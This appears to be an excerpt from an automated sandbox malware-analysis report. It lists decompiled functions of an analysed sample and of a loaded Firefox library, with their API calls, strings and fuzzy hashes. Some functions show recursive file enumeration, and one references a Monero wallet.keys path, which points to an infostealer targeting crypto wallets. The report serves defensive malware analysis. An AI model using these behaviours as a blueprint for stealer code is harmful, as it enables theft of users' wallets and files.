floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8138BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8139EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813EE2

Part of subcall function 6C816180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C8161DD
Part of subcall function 6C816180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C81622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8140F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C814157

Part of subcall function 6C816180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C816250
Part of subcall function 6C816180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C816292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C814448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C81484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C814863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C814878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C814896
free.MOZGLUE ref: 6C81489F

Strings

, xrefs: 6C814CD2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 46383220f05757a89e083db8dc451279177a05fdffb2b285127ea010ec5fbefc
Instruction ID: 2286120d812bae5834b80e5d5d70ff30da6106bbe2d7bce09dabbbe87f073c60
Opcode Fuzzy Hash: 46383220f05757a89e083db8dc451279177a05fdffb2b285127ea010ec5fbefc
Instruction Fuzzy Hash: 0AF23B749087818FC735CF28C18469AFBF1BFC9358F118A6ED99997711DB319886CB82

Function 6C7C64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C7C64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C7C64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C7C6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C7C6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7C652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C7C671C
GetCurrentProcess.KERNEL32 ref: 6C7C6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7C672F
GetCurrentProcess.KERNEL32 ref: 6C7C6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7C6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C7C6A80
GetSystemInfo.KERNEL32(?), ref: 6C7C6ABE
__Init_thread_footer.LIBCMT ref: 6C7C6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7C6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7C6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C7C6798
nvdxgiwrap.dll, xrefs: 6C7C6513
nvd3d9wrap.dll, xrefs: 6C7C6500
user32.dll, xrefs: 6C7C6526
_etoured.dll, xrefs: 6C7C64ED
detoured.dll, xrefs: 6C7C64DA

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 25675f80ad720d3522ae76ac0f820d4c0d1318205ed47000b52d803121b6e871
Instruction ID: 3402a34a43391dead3ebe19d5ec8d5b21062ef31fb0d0ff38519cfe5b26e2969
Opcode Fuzzy Hash: 25675f80ad720d3522ae76ac0f820d4c0d1318205ed47000b52d803121b6e871
Instruction Fuzzy Hash: BCF1F870A0562A9FDB30CF64CE887AAB7B4AF45318F1445A9D809A7741D731AF84CF92

Function 00EF38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EF38CC
FindFirstFileA.KERNEL32(?,?), ref: 00EF38E3
lstrcat.KERNEL32(?,?), ref: 00EF3935
StrCmpCA.SHLWAPI(?,00F00F70), ref: 00EF3947
StrCmpCA.SHLWAPI(?,00F00F74), ref: 00EF395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00EF3C67
FindClose.KERNEL32(000000FF), ref: 00EF3C7C

Strings

%s\%s, xrefs: 00EF397A
%s\%s\%s, xrefs: 00EF3A4A
%s\*, xrefs: 00EF38C0
%s\%s, xrefs: 00EF3A6F
%s%s, xrefs: 00EF3AAD

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 4db50c67bcfe6bd9841a43c459dc92bbf1b623cd107d495d758fc1fffc998490
Instruction ID: b49d9cb88e8b1f871a536d05c7d65511fdf0944c6c12d56c778462fba8a49610
Opcode Fuzzy Hash: 4db50c67bcfe6bd9841a43c459dc92bbf1b623cd107d495d758fc1fffc998490
Instruction Fuzzy Hash: 75A12FB190020CABDB34DF64DC85FFA73B8AF88301F444598E61DA6145EB759B94CF62

Function 6C81C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C81C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C81C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C81C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C81CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C81DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C81DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C81DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C81E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C81E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C81E472

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 41231cdca7bc96a9bba6d6de221618e82cebee5304f69f0425b221deb56f7607
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 3533BE71E0421A8FCB24CF98C9C06EDBBF2FF49310F18466AD955ABB55D730A945CB90

Function 6C7DED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C7DEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C7DEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C7E1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C7E1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C7E1A3E

Strings

~q{l, xrefs: 6C7DED13
~q{l, xrefs: 6C7DED10

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q{l$~q{l
API String ID: 3693777188-1301677909
Opcode ID: 08ad594ac247f29d228649633c48855bc7c64c5476fd5e537c91c39c29335cd8
Instruction ID: c49bf0632d196356141cc31271770db6dba788a6d6f382ba132978e933a91513
Opcode Fuzzy Hash: 08ad594ac247f29d228649633c48855bc7c64c5476fd5e537c91c39c29335cd8
Instruction Fuzzy Hash: 15B32A72E00219CFCB14CFA8C990A9DB7B2FF49304F2581A9D559AB756D730AD86CF90

Function 00EF4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EF4580
RtlAllocateHeap.NTDLL(00000000), ref: 00EF4587
wsprintfA.USER32 ref: 00EF45A6
FindFirstFileA.KERNEL32(?,?), ref: 00EF45BD
StrCmpCA.SHLWAPI(?,00F00FC4), ref: 00EF45EB
StrCmpCA.SHLWAPI(?,00F00FC8), ref: 00EF4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00EF468B
FindClose.KERNEL32(000000FF), ref: 00EF46A0
lstrcat.KERNEL32(?,0175E520), ref: 00EF46C5
lstrcat.KERNEL32(?,0175D598), ref: 00EF46D8
lstrlen.KERNEL32(?), ref: 00EF46E5
lstrlen.KERNEL32(?), ref: 00EF46F6

Strings

%s\*, xrefs: 00EF459A
%s\%s, xrefs: 00EF461B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 16a67c747b5d9216da3793edec47b9439524157f873a8265d795fa91b33a8077
Instruction ID: 25d6651ae1f16c4a35b31e08b3ee7a2a3613f5e4da7a5c05ffb609c0616d7e27
Opcode Fuzzy Hash: 16a67c747b5d9216da3793edec47b9439524157f873a8265d795fa91b33a8077
Instruction Fuzzy Hash: E25120B150021CABCB34EF70EC89FEA7378AF58301F405598E61AA6184EB759A948F91

Function 00EEED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EEED3E
FindFirstFileA.KERNEL32(?,?), ref: 00EEED55
StrCmpCA.SHLWAPI(?,00F01538), ref: 00EEEDAB
StrCmpCA.SHLWAPI(?,00F0153C), ref: 00EEEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00EEF2AE
FindClose.KERNEL32(000000FF), ref: 00EEF2C3

Strings

%s\*.*, xrefs: 00EEED32

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: d644b4b954a0fb3a9de49f0604b5a9389c6475acad4154db8146d02e0f56e45e
Instruction ID: 741b821d6fe368de6c4750fd6e3849d2dfd5629d337a0a1ca2d7a619f5a95351
Opcode Fuzzy Hash: d644b4b954a0fb3a9de49f0604b5a9389c6475acad4154db8146d02e0f56e45e
Instruction Fuzzy Hash: 29E120B281115C9ADB18FB20DC55EFE73B8AF94340F4451B9B60A76092EF706B8ACF51

Function 6C7DD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD4F2
LeaveCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD50B

Part of subcall function 6C7BCFE0: EnterCriticalSection.KERNEL32(6C83E784), ref: 6C7BCFF6
Part of subcall function 6C7BCFE0: LeaveCriticalSection.KERNEL32(6C83E784), ref: 6C7BD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD52E
EnterCriticalSection.KERNEL32(6C83E7DC), ref: 6C7DD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7DD6A6
LeaveCriticalSection.KERNEL32(6C83E7DC), ref: 6C7DD712
LeaveCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7DD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C7DD82C
<jemalloc>, xrefs: 6C7DD827

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: fc2ab11335203211ea8fc1eea767a9dad6e31eb9df8c4fe0bcddd1c4f2d9940f
Instruction ID: b18b44d365d3aecb922f0c73c1f4c490bac24ca5411fd836bc80b1c1bcb180d5
Opcode Fuzzy Hash: fc2ab11335203211ea8fc1eea767a9dad6e31eb9df8c4fe0bcddd1c4f2d9940f
Instruction Fuzzy Hash: AF91D271A047018FD724CF78C69472AB7E1EB99318F16993EE49A87A81D730A844CFA5

Function 00EEDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00F00C2E), ref: 00EEDE5E
StrCmpCA.SHLWAPI(?,00F014C8), ref: 00EEDEAE
StrCmpCA.SHLWAPI(?,00F014CC), ref: 00EEDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00EEE3E0
FindClose.KERNEL32(000000FF), ref: 00EEE3F2

Strings

\*.*, xrefs: 00EEDE26

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c3fc75883588b132eddf6daa93d6c1befa5c6a96ef73d976ae7b537aee55dd07
Instruction ID: 864567e85e8db20b60a524e9b8301c00ef95b052f1d4dac468fefd148491c67d
Opcode Fuzzy Hash: c3fc75883588b132eddf6daa93d6c1befa5c6a96ef73d976ae7b537aee55dd07
Instruction Fuzzy Hash: 3DF1DEB281015C9ACB29EB60DC95EFE73B8BF54340F8451B9A60E76091EF706B89CF51

Function 0129A60F Relevance: 14.1, Strings: 10, Instructions: 1558COMMON

Download Yara Rule

Strings

v$v, xrefs: 0129AE93
b.WQ, xrefs: 0129B3E2
